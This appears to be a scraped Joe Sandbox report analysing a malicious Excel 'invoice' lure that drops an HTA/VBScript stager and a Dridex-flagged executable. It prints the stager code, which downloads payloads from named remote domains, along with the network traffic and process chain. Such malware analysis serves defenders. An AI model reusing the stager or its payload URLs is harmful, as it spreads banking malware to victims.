https://view.joesandbox.com/analysis/351904/html/none?idtype=webid
https://view.joesandbox.com/analysis/351895/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351895/html/none?idtype=webid
https://view.joesandbox.com/analysis/351961/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351961/html/none?idtype=webid
https://view.joesandbox.com/analysis/351967/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351967/html/none?idtype=webid
https://view.joesandbox.com/analysis/351961/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351961/html/none?idtype=webid
https://view.joesandbox.com/analysis/351948/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351948/html/none?idtype=webid
https://view.joesandbox.com/analysis/351932/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351932/html/none?idtype=webid
https://view.joesandbox.com/analysis/351908/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351908/html/none?idtype=webid
https://view.joesandbox.com/analysis/351904/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351904/html/none?idtype=webid
https://view.joesandbox.com/analysis/351895/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351895/html/none?idtype=webid
https://view.joesandbox.com/analysis/351967/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351967/html/none?idtype=webid
https://view.joesandbox.com/analysis/351965/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351965/html/none?idtype=webid
https://view.joesandbox.com/analysis/351963/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351963/html/none?idtype=webid
https://view.joesandbox.com/analysis/351961/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351961/html/none?idtype=webid
https://view.joesandbox.com/analysis/351957/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351957/html/none?idtype=webid
https://view.joesandbox.com/analysis/351952/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351952/html/none?idtype=webid
https://view.joesandbox.com/analysis/351948/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351948/html/none?idtype=webid
https://view.joesandbox.com/analysis/351935/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351935/html/none?idtype=webid
https://view.joesandbox.com/analysis/351932/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351932/html/none?idtype=webid
https://view.joesandbox.com/analysis/351929/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351929/html/none?idtype=webid
https://view.joesandbox.com/analysis/351922/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351922/html/none?idtype=webid
https://view.joesandbox.com/analysis/351913/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351913/html/none?idtype=webid
https://view.joesandbox.com/analysis/351908/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351908/html/none?idtype=webid
https://view.joesandbox.com/analysis/351904/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351904/html/none?idtype=webid
https://view.joesandbox.com/analysis/351900/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351900/html/none?idtype=webid
https://view.joesandbox.com/analysis/351899/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351899/html/none?idtype=webid
https://view.joesandbox.com/analysis/351895/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351895/html/none?idtype=webid
https://view.joesandbox.com/analysis/351891/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351891/html/none?idtype=webid
https://view.joesandbox.com/analysis/351888/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351888/html/none?idtype=webid
https://view.joesandbox.com/analysis/351884/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351884/html/none?idtype=webid
https://view.joesandbox.com/analysis/351948/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351948/html/none?idtype=webid
https://view.joesandbox.com/analysis/351895/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/351895/html/none?idtype=webid


Static File Info

General
File type: Composite Document File V2 Document, Little Endian, 

Os: Windows, Version 6.1, Code page: 1252, Title: 
Invoice 720710 from Quickbooks, LLC, Author: Qui
ckbooks, LLC, Last Saved By: user, Name of Creating 
Application: Microsoft Excel, Create Time/Date: Wed 
Jul 14 09:38:23 2021, Last Saved Time/Date: Wed Jul 
14 15:06:14 2021, Security: 0

Entropy (8bit): 7.524113368644345

TrID: Microsoft Excel sheet (30009/1) 47.99%
Microsoft Excel sheet (alternate) (24509/1) 39.20%
Generic OLE2 / Multistream Compound File 
(8008/1) 12.81%

File name: 4TWEQh2HJb.xls

File size: 728064

MD5: 40425d09e54ff26289dd074649f0cad9

SHA1: ae7e4df26092d9acf01b732c8144f0170ccc6556

SHA256: 6f8f1b26324ea0f3f566fbdcb4a61eb92d054ccf0300c52b
3549c774056b8f02

SHA512: db62ee5908d05d96ca63a852880f79b8ad584d4d749054
3e50801d2dcdbb62faab3f311263b14e0ce6e0f6d349be9
4953dd0d532992739ca71684ad7f4f8dfb7

SSDEEP: 12288:IRYbXrlUc6XS/CwRl+4MW1H5onZHBDznxcp/c0
UGtkbByxlFYd2Drpkk:LUc6EjDMW1UrDjxcNcfgZI2

Size (bytes): 167936

Entropy (8bit): 7.4919139330417055

Encrypted: false

SSDEEP: 3072:hWiJzQu5JD9ko9WY1wzxWrPAEN87L5cWlvsRwmhnxONgkf:hLquAkPAE+X5WncNgk

MD5: EA91555829C1DFDFD47709496461C5D6

SHA1: 801A1C4AB318D6E7168208315991E68CF9991A09

SHA-256: 9FFE349BFCAAC3CEFFBBB5ACCF85814B0E08D204A02B63A9DF9681235A464ECC

SHA-512: F8856CFD16D5BE0295CDDDBCF5808E38C781C73A8266A97A1AFF8FA2450B36C28DF5E841BF20F596AE27B686A4D2CC5DC7918B330E04B92CB4FDCBECE1AE2
65B

Malicious: true

Antivirus: Antivirus: Joe Sandbox ML, Detection: 100%
Antivirus: ReversingLabs, Detection: 30%

Reputation: low

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........x..........................................................Rich............PE..L......`...
..............@...P.......>.......P............................................@..........................R..]....R..h....... ............................Q..8............................................P...............................text....8.......
@.................. ..`.rdata.......P.......P..............@..@.data...X....`.......`..............@....rsrc................p..............@..@.reloc.. ...........................@..B...............................................
..............................................................................................................................................................................................................................................................................
...........................

C:\ProgramData\qDialogMainChartType.exe

C:\ProgramData\qRangeAutoFormatLocalFormat3.sct

Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: HTML document, ASCII text, with very long lines, with CRLF line terminators

Category: dropped

Size (bytes): 5621

Entropy (8bit): 4.787304123915109

Encrypted: false

SSDEEP: 96:CgAe+y62lIJ62lIAh62lIu62lInv62lIyHJyhn62lIr:hxlIvlIMlIOlInllIwyhtlIr

MD5: E89821BB7E096EEB132D68B2A6676C11

SHA1: BA823128686693A41A2B5654C5C98D5E2C67D237

SHA-256: F42045365D89DE42726C7CA059AC19FE456EDE3F75DD7E402316C0491358DB63

SHA-512: B26AE3BD30E3240F597823EE3EA29705EF658797D3B0B1760DEB71E53DAF9C7B06B58712EA9EDAE954B785007FF9344CFF926506774489E5868A6A5CEBD43A14

Malicious: true

Reputation: low

Preview:
<!DOCTYPE html>..<html>..<head>..<HTA:APPLICATION ID="CS"..APPLICATIONNAME="Test"..WINDOWSTATE="minimize"..MAXIMIZEBUTTON="no"..MI
NIMIZEBUTTON="no"..CAPTION="no"..SHOWINTASKBAR="no">......<script type="text/vbscript" LANGUAGE="VBScript" >..On Error Resume Next..For Each qDialogWo
rkbookCopy in Array("http://onlinefastsolutions.com:8088/tpls/file3.bin","http://onlinefastsolutions.com:8088/images/details.bin","http://fasteasyupdates.com:8088/vendors
/file4.bin","http://onlinefastsolutions.com:8088/js/file1.bin","http://buyer-remindment.com:8088/fonts/file8.bin","http://buyer-remindment.com:8088/css/file7.bin","http:/
/onlinefastsolutions.com:8088/images/file13.bin","http://insiderushings.com:8088/js/file13.bin","http://buyer-remindment.com:8088/tpls/file4.bin","http://paymentadvisry.c
om:8088/wp-theme/file7.bin")..    Set qDialogWorkspace = createobject("MSXML2.ServerXMLHTTP.6.0")..    'Tell me, Muse, of that man, so ready at need, who wandered 
far and wide, after he had sacked the sacred ci
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File Content Preview: ........................>...................................z...................b.....
..d.......f.......h.......j............................................................
..................................................................................

General

File Icon

Icon Hash: e4eea286a4b4bcb4

Network Port Distribution

General
Document Type: OLE

Number of OLE Files: 1

Indicators
Has Summary Info: True

Application Name: Microsoft Excel

Encrypted Document: False

Contains Word Document Stream: False

Contains Workbook/Book Stream: True

Contains PowerPoint Document Stream: False

Contains Visio Document Stream: False

Contains ObjectPool Stream:

Flash Objects Count:

Contains VBA Macros: True

Summary
Code Page: 1252

Title: Invoice 720710 from Quickbooks, LLC

Author: Quickbooks, LLC

Last Saved By: user

Create Time: 2021-07-14 08:38:23

Last Saved Time: 2021-07-14 14:06:14

Creating Application: Microsoft Excel

Security: 0

Document Summary
Document Code Page: 1252

Thumbnail Scaling Desired: False

Company: Quickbooks, LLC

Contains Dirty Links: False

Shared Document: False

Changed Hyperlinks: False

Application Version: 786432

Network Behavior

Static OLE Info

OLE File "4TWEQh2HJb.xls"

Streams with VBA

Streams
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Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Jul 14, 2021 20:00:06.259974957 CEST 192.168.2.22 8.8.8.8 0x70c0 Standard query 
(0)

onlinefast
solutions.com

A (IP address) IN (0x0001)

Jul 14, 2021 20:00:06.303292990 CEST 192.168.2.22 8.8.8.8 0x3714 Standard query 
(0)

onlinefast
solutions.com

A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Jul 14, 2021 
20:00:06.286272049 
CEST

8.8.8.8 192.168.2.22 0x70c0 No error (0) onlinefast
solutions.com

208.83.69.35 A (IP address) IN (0x0001)

Jul 14, 2021 
20:00:06.286272049 
CEST

8.8.8.8 192.168.2.22 0x70c0 No error (0) onlinefast
solutions.com

128.199.243.169 A (IP address) IN (0x0001)

Jul 14, 2021 
20:00:06.286272049 
CEST

8.8.8.8 192.168.2.22 0x70c0 No error (0) onlinefast
solutions.com

163.172.213.69 A (IP address) IN (0x0001)

Jul 14, 2021 
20:00:06.286272049 
CEST

8.8.8.8 192.168.2.22 0x70c0 No error (0) onlinefast
solutions.com

185.21.216.153 A (IP address) IN (0x0001)

Jul 14, 2021 
20:00:06.327779055 
CEST

8.8.8.8 192.168.2.22 0x3714 No error (0) onlinefast
solutions.com

185.21.216.153 A (IP address) IN (0x0001)

Jul 14, 2021 
20:00:06.327779055 
CEST

8.8.8.8 192.168.2.22 0x3714 No error (0) onlinefast
solutions.com

163.172.213.69 A (IP address) IN (0x0001)

Jul 14, 2021 
20:00:06.327779055 
CEST

8.8.8.8 192.168.2.22 0x3714 No error (0) onlinefast
solutions.com

128.199.243.169 A (IP address) IN (0x0001)

Jul 14, 2021 
20:00:06.327779055 
CEST

8.8.8.8 192.168.2.22 0x3714 No error (0) onlinefast
solutions.com

208.83.69.35 A (IP address) IN (0x0001)

            
onlinefastsolutions.com:8088

         

Session ID Source IP Source Port Destination IP Destination Port Process

0 192.168.2.22 49165 208.83.69.35 8088 C:\Windows\System32\mshta.exe

Timestamp
kBytes
transferred Direction Data

Jul 14, 2021 
20:00:06.454802990 CEST

0 OUT GET /tpls/file3.bin HTTP/1.1
Connection: Keep-Alive
Accept: */*
Accept-Language: en-us
User-Agent: qWK3FM3
Host: onlinefastsolutions.com:8088

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets
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Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

Jul 14, 2021 
20:00:06.811981916 CEST

2 IN HTTP/1.1 200 OK
Server: nginx/1.15.12
Date: Wed, 14 Jul 2021 18:00:06 GMT
Content-Type: application/octet-stream
Content-Length: 167936
Connection: keep-alive
Last-Modified: Wed, 14 Jul 2021 13:48:51 GMT
ETag: "60eeeb43-29000"
Accept-Ranges: bytes
Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 
65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ff 81 78 c1 bb e0 16 92 bb e0 16 92 bb e0 16 92 bb e0 17 92 89 e0 16 92 b2 98 
85 92 98 e0 16 92 bb e0 16 92 ba e0 16 92 b6 b2 ca 92 ba e0 16 92 b6 b2 cd 92 ba e0 16 92 b6 b2 c8 92 ba e0 16 92 52 6
9 63 68 bb e0 16 92 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 c4 0c f0 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 
01 0c 00 00 40 01 00 00 50 01 00 00 00 00 00 f0 3e 01 00 00 10 00 00 00 50 01 00 00 00 00 10 00 10 00 00 00 10 00 00 
05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 a0 02 00 00 10 00 00 00 00 00 00 02 00 40 01 00 00 10 00 00 10 00 
00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 52 01 00 5d 00 00 00 ec 52 01 00 68 01 00 00 00 80 02 00 20 04 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 02 00 01 00 00 00 10 51 01 00 38 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 01 00 
0c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f7 38 01 
00 00 10 00 00 00 40 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 ee 0c 
00 00 00 50 01 00 00 10 00 00 00 50 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 58 
19 01 00 00 60 01 00 00 10 01 00 00 60 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 
ad 04 00 00 00 80 02 00 00 10 00 00 00 70 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 0
0 20 01 00 00 00 90 02 00 00 10 00 00 00 80 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
Data Ascii: MZ@!L!This program cannot be run in DOS mode.$xRichPEL`@P>P@R]Rh Q8P.text8@ `.rdataPP@@.
dataX``@.rsrcp@@.reloc @B

Timestamp
kBytes
transferred Direction Data

Start time: 19:59:44

Start date: 14/07/2021

Path: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Wow64 process (32bit): false

Commandline: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding

Imagebase: 0x13f460000

File size: 27641504 bytes

MD5 hash: 5FB0A0F93382ECD19F5F499A5CAA59F0

Analysis Process: EXCEL.EXE PID: 2820 Parent PID: 584Analysis Process: EXCEL.EXE PID: 2820 Parent PID: 584

General
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File ActivitiesFile Activities

Registry ActivitiesRegistry Activities

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Show Windows behavior

Show Windows behavior

File ActivitiesFile Activities

Start time: 19:59:47

Start date: 14/07/2021

Path: C:\Windows\System32\mshta.exe

Wow64 process (32bit): false

Commandline: mshta 'C:\ProgramData\qRangeAutoFormatLocalFormat3.sct'

Imagebase: 0x13f060000

File size: 13824 bytes

MD5 hash: 95828D670CFD3B16EE188168E083C3C5

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

Show Windows behavior

Start time: 19:59:49

Start date: 14/07/2021

Path: C:\ProgramData\qDialogMainChartType.exe

Wow64 process (32bit): true

Commandline: C:\ProgramData\qDialogMainChartType.exe

Imagebase: 0x10000000

File size: 167936 bytes

MD5 hash: EA91555829C1DFDFD47709496461C5D6

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_Dridex_1, Description: Yara detected Dridex unpacked file, Source: 
00000003.00000002.2363961499.0000000010001000.00000020.00020000.sdmp, 
Author: Joe Security

File CreatedFile Created

File DeletedFile Deleted

File MovedFile Moved

File WrittenFile Written

Key CreatedKey Created

Key Value CreatedKey Value Created

Analysis Process: mshta.exe PID: 2104 Parent PID: 2820Analysis Process: mshta.exe PID: 2104 Parent PID: 2820

General

Analysis Process: qDialogMainChartType.exe PID: 3028 Parent PID: 2104Analysis Process: qDialogMainChartType.exe PID: 3028 Parent PID: 2104

General
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Joe Sandbox Cloud Basic 33.0.0 White Diamond

Disassembly

Code Analysis

Copyright Joe Security LLC

File ActivitiesFile Activities

Antivirus matches: Detection: 100%, Joe Sandbox ML
Detection: 30%, ReversingLabs

Reputation: low

Show Windows behavior

File ReadFile Read
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